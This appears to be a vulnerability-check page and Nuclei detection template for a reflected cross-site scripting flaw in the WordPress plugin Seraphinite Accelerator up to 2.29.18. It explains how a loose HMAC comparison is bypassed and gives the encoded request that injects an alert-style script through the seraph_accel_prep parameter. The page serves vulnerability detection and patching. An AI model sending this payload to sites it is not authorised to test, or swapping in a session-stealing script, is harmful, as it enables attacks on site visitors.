Seraphinite Accelerator <= 2.29.18 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.8%likelihood of exploitation, next 30 days

57%of all CVEs are less likely

Readycheck to confirm it

The Seraphinite Accelerator plugin for WordPress up to and including 2.29.18 was vulnerable to reflected cross-site scripting through the seraph_accel_prep parameter. CacheExtractPreparePageParams() compared the expected HMAC against the JSON-decoded nonce with PHP's loose != operator, so a JSON boolean true satisfied the comparison and bypassed the signature check, and _CbContentFinishSkip() then concatenated the attacker-controlled selfTest field straight into the response body, letting unauthenticated attackers inject arbitrary scripts.

Impact

An unauthenticated attacker could run arbitrary JavaScript in a victim's browser by luring them to a crafted link, leading to session theft or actions performed as the victim.

Fix

Update Seraphinite Accelerator to version 2.29.19 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "seraphinite-accelerator")
Send: GET /?seraph_accel_prep=eyJub25jZSI6dHJ1ZSwic2VsZlRlc3QiOiI8aW1nIHNyYz14IG9uZXJyb3I9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4ifQ%3D%3D
Positive when: contains "selfTest-<img src=x onerror=alert(document.domain)>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-17532 -u <target>

The full check

id: CVE-2026-17532

info:
  name: Seraphinite Accelerator <= 2.29.18 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    The Seraphinite Accelerator plugin for WordPress up to and including 2.29.18 was vulnerable to reflected cross-site scripting through the seraph_accel_prep parameter. CacheExtractPreparePageParams() compared the expected HMAC against the JSON-decoded nonce with PHP's loose != operator, so a JSON boolean true satisfied the comparison and bypassed the signature check, and _CbContentFinishSkip() then concatenated the attacker-controlled selfTest field straight into the response body, letting unauthenticated attackers inject arbitrary scripts.
  impact: |
    An unauthenticated attacker could run arbitrary JavaScript in a victim's browser by luring them to a crafted link, leading to session theft or actions performed as the victim.
  remediation: |
    Update Seraphinite Accelerator to version 2.29.19 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/seraphinite-accelerator/seraphinite-accelerator-22918-reflected-cross-site-scripting
    - https://plugins.trac.wordpress.org/browser/seraphinite-accelerator/trunk/common.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17532
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-17532
    epss-score: 0.00794
    epss-percentile: 0.56696
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: seraphinite
    product: seraphinite-accelerator
    framework: wordpress
    fofa-query: body="seraphinite-accelerator"
  tags: cve,cve2026,wordpress,wp,wp-plugin,seraphinite,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "seraphinite-accelerator")'
        condition: and
        internal: true

  - raw:
      - |
        GET /?seraph_accel_prep=eyJub25jZSI6dHJ1ZSwic2VsZlRlc3QiOiI8aW1nIHNyYz14IG9uZXJyb3I9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4ifQ%3D%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "selfTest-<img src=x onerror=alert(document.domain)>"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from